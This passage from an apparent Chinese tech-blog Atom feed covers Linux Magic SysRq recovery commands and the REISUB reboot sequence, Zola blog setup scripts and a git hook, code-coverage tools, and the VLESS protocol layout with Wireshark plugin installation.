        <content type="html" xml:base="https://vercel.juzhong.asia/2025/07/Linux Magic SysRq/">&lt;p&gt;在 Linux 中，Magic SysRq（Magic System Request）键 是一个组合键机制，用于在系统严重故障（如死机、挂起等）时发送低级命令给内核进行恢复或诊断操作。它能在几乎所有情况下（包括部分内核崩溃）执行，如同步磁盘、重启、杀死进程等。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;qian-ti-tiao-jian-jian-cha&quot;&gt;前提条件检查&lt;&#x2F;h1&gt;
&lt;p&gt;内核是否编译支持Magic SysRq
检查当前运行状
0：全部禁用
1：全部启用
其他值（如 176、438）：按位启用（详见附录）&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;zcat &amp;#x2F;proc&amp;#x2F;config.gz | grep CONFIG_MAGIC_SYSRQ
cat &amp;#x2F;boot&amp;#x2F;config-$(uname -r) | grep -i config_magic_sysrq
cat &amp;#x2F;proc&amp;#x2F;sys&amp;#x2F;kernel&amp;#x2F;sysrq
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;fa-xing-ban-magic-sysrqshi-yong-qing-kuang&quot;&gt;发行版Magic SysRq使用情况&lt;&#x2F;h1&gt;
&lt;p&gt;很多Linux发行版中是默认启用的，但具体情况可能会有所不同。例如：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Debian及其衍生发行版（如Ubuntu）通常默认开启Magic SysRq功能。&lt;&#x2F;li&gt;
&lt;li&gt;Arch Linux及其相关发行版（如Manjaro）则默认情况下不开启Magic SysRq功能，用户需要手动进行配置以启用它。
如果你不确定某个特定的Linux发行版是否默认启用了Magic SysRq，可以通过以下命令来检查当前系统的Magic SysRq状态：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cat &amp;#x2F;proc&amp;#x2F;sys&amp;#x2F;kernel&amp;#x2F;sysrq
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果输出为1，则表示所有Magic SysRq功能都已启用；如果输出为0，则表示SysRq被禁用。其他数值表示部分功能被启用，具体的数值含义可以参考内核文档或通过搜索引擎查找对应的解释。&lt;&#x2F;p&gt;
&lt;p&gt;要临时启用所有的Magic SysRq功能，可以使用以下命令：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;echo 1 | sudo tee &amp;#x2F;proc&amp;#x2F;sys&amp;#x2F;kernel&amp;#x2F;sysrq
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;对于永久性更改，可以在&#x2F;etc&#x2F;sysctl.conf文件中添加或者修改如下行：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;kernel.sysrq = 1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后运行sudo sysctl -p使更改生效，或者重启系统。不同的发行版可能有不同的配置文件位置和方法，请根据实际情况调整。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;ru-he-shi-yong-magic-sysrq&quot;&gt;如何使用Magic SysRq&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;jian-pan-zu-he-fang-shi-ben-di-zhong-duan-shi-yong&quot;&gt;键盘组合方式(本地终端使用)&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;Alt + SysRq + &amp;lt;command_key&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;SysRq 键通常和 Print Screen 是同一个键
在笔记本上可能需要额外按 Fn 键&lt;&#x2F;p&gt;
&lt;p&gt;常见命令键列表（&amp;lt;command_key&amp;gt;）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;键&lt;&#x2F;th&gt;&lt;th&gt;功能&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;b&lt;&#x2F;td&gt;&lt;td&gt;立即重启系统（ReBoot）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;o&lt;&#x2F;td&gt;&lt;td&gt;立即关闭系统（pOwer off）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;s&lt;&#x2F;td&gt;&lt;td&gt;立刻将所有挂载的文件系统同步（Sync）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;u&lt;&#x2F;td&gt;&lt;td&gt;立刻将文件系统 remount 为只读（Umount）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;e&lt;&#x2F;td&gt;&lt;td&gt;向所有终端进程发送 SIGTERM（tErminate）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;i&lt;&#x2F;td&gt;&lt;td&gt;向所有终端进程发送 SIGKILL（kIll）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;r&lt;&#x2F;td&gt;&lt;td&gt;将键盘控制权从 X Server 还原到控制台（Raw mode）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;k&lt;&#x2F;td&gt;&lt;td&gt;杀死当前控制台上的所有进程（Kill）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;h&lt;&#x2F;td&gt;&lt;td&gt;显示可用命令帮助（Help）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;tong-guo-proc-sysrq-trigger-fa-song-ming-ling-yuan-cheng-shi-yong&quot;&gt;通过 &#x2F;proc&#x2F;sysrq-trigger 发送命令（远程使用）&lt;&#x2F;h2&gt;
&lt;p&gt;如果你是通过 SSH 或串口登录的，可以使用：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;echo &amp;lt;command_key&amp;gt; | sudo tee &amp;#x2F;proc&amp;#x2F;sysrq-trigger
echo b | sudo tee &amp;#x2F;proc&amp;#x2F;sysrq-trigger   # 立即重启
echo s | sudo tee &amp;#x2F;proc&amp;#x2F;sysrq-trigger   # 同步磁盘

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;dian-xing-chang-jing-an-quan-zhong-qi-gua-si-xi-tong&quot;&gt;典型场景：安全重启挂死系统&lt;&#x2F;h1&gt;
&lt;p&gt;建议使用“REISUB”组合重启挂住的系统：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;Alt + SysRq + R
Alt + SysRq + E
Alt + SysRq + I
Alt + SysRq + S
Alt + SysRq + U
Alt + SysRq + B
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;含义如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;步骤&lt;&#x2F;th&gt;&lt;th&gt;含义&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;R&lt;&#x2F;td&gt;&lt;td&gt;恢复键盘控制权&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;E&lt;&#x2F;td&gt;&lt;td&gt;终止所有进程&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;I&lt;&#x2F;td&gt;&lt;td&gt;杀死所有进程&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;S&lt;&#x2F;td&gt;&lt;td&gt;同步磁盘&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;U&lt;&#x2F;td&gt;&lt;td&gt;卸载磁盘（只读）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;B&lt;&#x2F;td&gt;&lt;td&gt;重启系统&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;每按一次组合键后，等1-2秒再继续下一步，确保命令有时间生效。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;fu-lu-sysrq-an-wei-quan-xian-han-yi-dui-ying-proc-sys-kernel-sysrq&quot;&gt;附录：sysrq 按位权限含义（对应 &#x2F;proc&#x2F;sys&#x2F;kernel&#x2F;sysrq）&lt;&#x2F;h1&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;值&lt;&#x2F;th&gt;&lt;th&gt;功能&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;td&gt;启用所有功能&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;2&lt;&#x2F;td&gt;&lt;td&gt;控制进程的信号发送&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;4&lt;&#x2F;td&gt;&lt;td&gt;挂载的文件系统 sync&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;8&lt;&#x2F;td&gt;&lt;td&gt;立即重启或关机&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;16&lt;&#x2F;td&gt;&lt;td&gt;Dump tasks 信息&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;32&lt;&#x2F;td&gt;&lt;td&gt;设置日志等级&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;64&lt;&#x2F;td&gt;&lt;td&gt;终止进程&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;128&lt;&#x2F;td&gt;&lt;td&gt;Kill 当前控制台进程&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;常见值：
176 = 128 + 32 + 16：允许 kill、日志、重启&lt;&#x2F;p&gt;
&lt;p&gt;438 = 128 + 64 + 8 + 4 + 2 + 32：广泛启用但不包含 r&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cat &amp;#x2F;proc&amp;#x2F;sys&amp;#x2F;kernel&amp;#x2F;sysrq | xxd -b
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>sing-box协议（已合并）</title>
        <published>2025-07-19T22:55:57+08:00</published>
        <updated>2026-08-21T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/07/learn/sing-box协议/"/>
        <id>https://vercel.juzhong.asia/2025/07/learn/sing-box协议/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/07/learn/sing-box协议/">&lt;meta http-equiv=&quot;refresh&quot; content=&quot;0; url=&#x2F;2025&#x2F;11&#x2F;learn&#x2F;sing-box%20手动配置(deb安装)&#x2F;&quot;&gt;
&lt;p&gt;已合并至 &lt;a href=&quot;&#x2F;2025&#x2F;11&#x2F;learn&#x2F;sing-box%20%E6%89%8B%E5%8A%A8%E9%85%8D%E7%BD%AE(deb%E5%AE%89%E8%A3%85)&#x2F;&quot;&gt;sing-box 手动配置&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>开始使用zola博客</title>
        <published>2025-07-19T21:05:11+08:00</published>
        <updated>2026-08-08T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/07/开始使用zola博客/"/>
        <id>https://vercel.juzhong.asia/2025/07/开始使用zola博客/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/07/开始使用zola博客/">&lt;h1 id=&quot;an-zhuang-zola&quot;&gt;安装zola&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;git clone https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;getzola&amp;#x2F;zola.git
cd zola
cargo install --path . --locked
zola --version
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;pei-zhi-bo-ke&quot;&gt;配置博客&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;zola init blog
cd blog
git submodule add https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;salif&amp;#x2F;linkita.git themes&amp;#x2F;linkta
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;toml&quot; class=&quot;language-toml &quot;&gt;&lt;code class=&quot;language-toml&quot; data-lang=&quot;toml&quot;&gt;# The URL the site will be built for
base_url = &amp;quot;https:&amp;#x2F;&amp;#x2F;blog.example.com&amp;quot;

title = &amp;quot;peter的博客&amp;quot;
description = &amp;quot;学海无涯&amp;quot;
default_language = &amp;quot;zh&amp;quot;
generate_rss = true

# Whether to automatically compile all Sass files in the sass directory
compile_sass = false

# theme = &amp;quot;even&amp;quot;
theme = &amp;quot;linkita&amp;quot;

# Whether to do syntax highlighting
# Theme can be customised by setting the `highlight_theme` variable to a theme supported by Zola
highlight_code = true
highlight_theme = &amp;quot;monokai&amp;quot;

# Whether to build a search index to be used later on by a JavaScript library
build_search_index = false

ignored_content = [&amp;quot;*.sw?&amp;quot;]

taxonomies = [
    {name = &amp;quot;categories&amp;quot;, rss = true, paginate_by = 10},
    {name = &amp;quot;tags&amp;quot;, rss = false, paginate_by = 10},
]

[extra]
# Put all your custom variables here

[extra.author]
name = &amp;quot;peter xiaoli&amp;quot;
email = &amp;quot;moxuetianya@gmail.com&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;新建博客脚本&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash new.sh&quot; class=&quot;language-bash new.sh &quot;&gt;&lt;code class=&quot;language-bash new.sh&quot; data-lang=&quot;bash new.sh&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;bash
# Copyright (c) 2025 peterxiaoli&amp;lt;moxuetianya@gmail.com&amp;gt;. All rights reserved.
# Use of this source is governed by General Public License that can be found
# in the LICENSE file.

set -xe
# Create a new article template.

ARTICLE=$1
if [ -z &amp;quot;${ARTICLE}&amp;quot; ]; then
  echo &amp;quot;Usage $0 article-name&amp;quot;
  exit 1
fi
TIMESTAMPE=$(date --rfc-3339=seconds)
FILENAME=&amp;quot;content&amp;#x2F;$(date +%Y-%m-%d)-${ARTICLE}.md&amp;quot;
URL_PATH=&amp;quot;$(date +%Y)&amp;#x2F;$(date +%m)&amp;#x2F;${ARTICLE}&amp;quot;
echo &amp;quot;TIMESTMAP: ${TIMESTAMPE}&amp;quot;
echo &amp;quot;FILENAME: ${FILENAME}&amp;quot;
echo &amp;quot;URL_PATH: ${URL_PATH}&amp;quot;

if [ ! -f &amp;quot;${FILENAME}&amp;quot; ]; then
  cat &amp;gt; &amp;quot;${FILENAME}&amp;quot; &amp;lt;&amp;lt; EOF
+++
title = &amp;quot;${ARTICLE}&amp;quot;
description = &amp;quot;&amp;quot;
date = ${TIMESTAMPE}
path = &amp;quot;${URL_PATH}&amp;quot;
[taxonomies]
categories = []
+++
EOF
fi
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;nei-rong-wei-hu-zui-jin-geng-xin-lie-biao-yu-zi-dong-tong-bu&quot;&gt;内容维护：最近更新列表与自动同步&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;updated-zi-duan-yu-zui-jin-geng-xin-ye&quot;&gt;updated 字段与&quot;最近更新&quot;页&lt;&#x2F;h2&gt;
&lt;p&gt;abridge 主题支持 frontmatter 的 &lt;code&gt;updated&lt;&#x2F;code&gt; 字段（&lt;code&gt;config.toml&lt;&#x2F;code&gt; 里 &lt;code&gt;meta_post.updated = true&lt;&#x2F;code&gt; 时文章页会显示&quot;更新于&quot;）。基于它做了&quot;最近更新&quot;列表页（&lt;code&gt;&#x2F;updated&#x2F;&lt;&#x2F;code&gt;，菜单入口），按更新时间降序显示前 30 篇。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;scripts-sync-updated-sh-he-xin-jiao-ben&quot;&gt;scripts&#x2F;sync-updated.sh（核心脚本）&lt;&#x2F;h2&gt;
&lt;p&gt;作用（幂等，可重复跑）：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;同步 updated 字段&lt;&#x2F;strong&gt;：对每篇文章取 &lt;code&gt;git log&lt;&#x2F;code&gt; 最后修改日期，与 frontmatter &lt;code&gt;date&lt;&#x2F;code&gt; 不同则写入 &lt;code&gt;updated = &quot;YYYY-MM-DD&quot;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;生成列表页&lt;&#x2F;strong&gt;：收集所有带 updated 的文章，按更新时间降序，重新生成 &lt;code&gt;content&#x2F;updated.md&lt;&#x2F;code&gt;（链接用 &lt;code&gt;@&#x2F;&lt;&#x2F;code&gt; 内部链接语法）&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;&#x2F;strong&gt;：它读的是 git 历史——未提交的改动读不到；跑完会改 content&#x2F;，需要重新提交。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;post-commit-hook-ti-jiao-hou-zi-dong-tong-bu&quot;&gt;post-commit hook：提交后自动同步&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 版本化 hook 放仓库里，git 通过 core.hooksPath 使用（新克隆只需跑一次）
git config core.hooksPath scripts&amp;#x2F;hooks
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;scripts&#x2F;hooks&#x2F;post-commit&lt;&#x2F;code&gt; 做的事：提交后自动跑 sync-updated.sh，若有变化则只暂存脚本动过的文件，自动提交 &lt;code&gt;chore: sync updated dates&lt;&#x2F;code&gt;。幂等设计（无变化不产生提交，不会无限循环），仅 master 分支生效。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;工作流&lt;&#x2F;strong&gt;：写文章 → 提交 → hook 自动同步 updated + 刷新列表 → 自动提交 → push 即部署。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shi-tu-yu-nei-rong-de-guan-xi&quot;&gt;视图与内容的关系&lt;&#x2F;h2&gt;
&lt;p&gt;文章正文只渲染一份（各 URL 唯一）；归档&#x2F;最近更新&#x2F;标签&#x2F;首页都是&quot;链接 + 元数据&quot;的视图页，不复制正文。唯一真正复制内容的是分类 RSS feed（atom.xml，协议要求全文）。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>代码覆盖率</title>
        <published>2025-07-19T20:53:28+08:00</published>
        <updated>2025-07-19T20:53:28+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/07/代码覆盖率/"/>
        <id>https://vercel.juzhong.asia/2025/07/代码覆盖率/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/07/代码覆盖率/">&lt;h1 id=&quot;dai-ma-fu-gai-lu-de-gong-zuo-fang-shi&quot;&gt;代码覆盖率的工作方式&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;source-code-instrumentation-yuan-dai-ma-jian-ce&quot;&gt;source code instrumentation - 源代码检测&lt;&#x2F;h2&gt;
&lt;p&gt;将检测豫剧添加到源代码中， 并使用正常的编译工具链编译代码生成检测的程序。
这是我们常说的茶庄， gcov 属于这一类的代码覆盖率工具&lt;&#x2F;p&gt;
&lt;h2 id=&quot;runtime-instrumentation-yun-xing-shi-shou-ji&quot;&gt;Runtime instrumentation - 运行时收集&lt;&#x2F;h2&gt;
&lt;p&gt;这种方法在代码执行时从运行时环境收集信息以确定覆盖率信息。以我的理解 JaCoCo 和 Coverage 这两个工具的原理属于这一类别。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;intermediate-code-instrumentation-zhong-jian-dai-ma-jian-ce&quot;&gt;Intermediate code instrumentation - 中间代码检测&lt;&#x2F;h2&gt;
&lt;p&gt;通过添加新的字节码来检测编译后的类文件，并生成一个新的检测类。说实话，我 Google 了很多文章并找到确定的说明哪个工具是属于这一类的。&lt;&#x2F;p&gt;
&lt;p&gt;了解这些工具的基本原理，结合现有的测试用例，有助于正确的选择代码覆盖率工具。比如：&lt;&#x2F;p&gt;
&lt;p&gt;产品的源代码只有 E2E（端到端）测试用例，通常只能选择第一类工具，即通过插桩编译出的可执行文件，然后进行测试和结果收集。
产品的源代码有单元测试用例，通常选择第二类工具，即运行时收集。这类工具的执行效率高，易于做持续集成。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;dang-qian-zhu-liu-dai-ma-fu-gai-lu-gong-ju&quot;&gt;当前主流代码覆盖率工具&lt;&#x2F;h1&gt;
&lt;p&gt;代码覆盖率的工具有很多，以下是我用过的不同编程语言的代码覆盖率工具。在选择工具时，力求去选择那些开源、流行（活跃）、好用的工具。&lt;&#x2F;p&gt;
&lt;p&gt;|编程语言 |	代码覆盖率工具 |
| C&#x2F;C++	| Gcov |
|Java |	JaCoCo|
|JavaScript|	Istanbul|
|Python|	Coverage.py|
|Golang	|cover|&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>学习vless协议</title>
        <published>2025-07-19T00:00:00+00:00</published>
        <updated>2025-07-19T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/07/learn/learn-vless/"/>
        <id>https://vercel.juzhong.asia/2025/07/learn/learn-vless/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/07/learn/learn-vless/">&lt;p&gt;VLESS数据结构根据开发者的介绍，如下所示。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;qing-qiu-request&quot;&gt;请求 Request&lt;&#x2F;h1&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;1 字节&lt;&#x2F;th&gt;&lt;th&gt;16 字节&lt;&#x2F;th&gt;&lt;th&gt;1 字节&lt;&#x2F;th&gt;&lt;th&gt;M 字节&lt;&#x2F;th&gt;&lt;th&gt;1 字节&lt;&#x2F;th&gt;&lt;th&gt;2 字节&lt;&#x2F;th&gt;&lt;th&gt;1 字节&lt;&#x2F;th&gt;&lt;th&gt;S 字节&lt;&#x2F;th&gt;&lt;th&gt;X 字节&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;协议版本&lt;&#x2F;td&gt;&lt;td&gt;等价UUID&lt;&#x2F;td&gt;&lt;td&gt;附加信息长度M&lt;&#x2F;td&gt;&lt;td&gt;ProtoBuf&lt;&#x2F;td&gt;&lt;td&gt;指令&lt;&#x2F;td&gt;&lt;td&gt;端口&lt;&#x2F;td&gt;&lt;td&gt;地址类型&lt;&#x2F;td&gt;&lt;td&gt;地址&lt;&#x2F;td&gt;&lt;td&gt;请求数据&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h1 id=&quot;xiang-ying-response&quot;&gt;响应 Response&lt;&#x2F;h1&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;1 字节&lt;&#x2F;th&gt;&lt;th&gt;1 字节&lt;&#x2F;th&gt;&lt;th&gt;N 字节&lt;&#x2F;th&gt;&lt;th&gt;Y 字节&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;协议版本，与请求一致&lt;&#x2F;td&gt;&lt;td&gt;附加信息长度 N&lt;&#x2F;td&gt;&lt;td&gt;附加信息 ProtoBuf&lt;&#x2F;td&gt;&lt;td&gt;响应数据&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;相比其他传输协议，VLESS协议更加简洁，能够达到更加高效的数据传输，就以往的经验来说，其主要优势在于：&lt;&#x2F;p&gt;
&lt;p&gt;VLESS协议不依赖于系统时间，在Windows+Linux双系统环境下，可以不再困扰于时区时差；
VLESS协议在传输数据时不会加密数据，配合其他加密传输协议使用时可以达到更高的性能；
允许进行回落，可以将接收到的非代理数据进行转发，无需另外架设转发服务；
VLESS协议在未来可能出现统一的导出格式，方便在各个终端间传递使用。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;pei-zhi-wiresharkcha-jian&quot;&gt;配置wireshark插件&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;linux 中 wireshark 4.2.2版本&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cp .&amp;#x2F;vless.lua &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;wireshark&amp;#x2F;vless.lua
# or cp .&amp;#x2F;vless.lua ~&amp;#x2F;.config&amp;#x2F;wireshark&amp;#x2F;vless.lua
echo &amp;#x27;dofile(DATA_DIR..&amp;quot;&amp;#x2F;vless.lua&amp;quot;)&amp;#x27; | sudo tee -a &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;x86_64-linux-gnu&amp;#x2F;wireshark&amp;#x2F;plugins&amp;#x2F;init.lua
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;linux 中 wireshark 4.0.17版本&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cp .&amp;#x2F;vless.lua &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;wireshark&amp;#x2F;vless.lua
echo &amp;#x27;dofile(DATA_DIR..&amp;quot;&amp;#x2F;vless.lua&amp;quot;)&amp;#x27; | sudo tee -a &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;wireshark&amp;#x2F;init.lua
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;wireshark中【分析】-&amp;gt; 【重新载入lua插件】&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;&#x2F;2025&#x2F;07&#x2F;wireshark%E6%8F%92%E4%BB%B6%20%E8%A7%A3%E6%9E%90%E8%87%AA%E5%AE%9A%E4%B9%89%E5%8D%8F%E8%AE%AE&#x2F;#pei-zhi-luajiao-ben&quot;&gt;wireshark 插件配置&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;&#x2F;code&#x2F;vless.lua?encoding=UTF-8&quot;&gt;vless wireshark插件文件&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;can-kao&quot;&gt;参考&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.v2fly.org&#x2F;developer&#x2F;protocols&#x2F;vmess.html&quot;&gt;vmess&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;xtls.github.io&#x2F;development&#x2F;protocols&#x2F;vless.html&quot;&gt;vless&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>编译链接与 ELF</title>
        <published>2025-07-18T12:00:00+08:00</published>
        <updated>2025-07-18T12:00:00+08:00</updated>
        
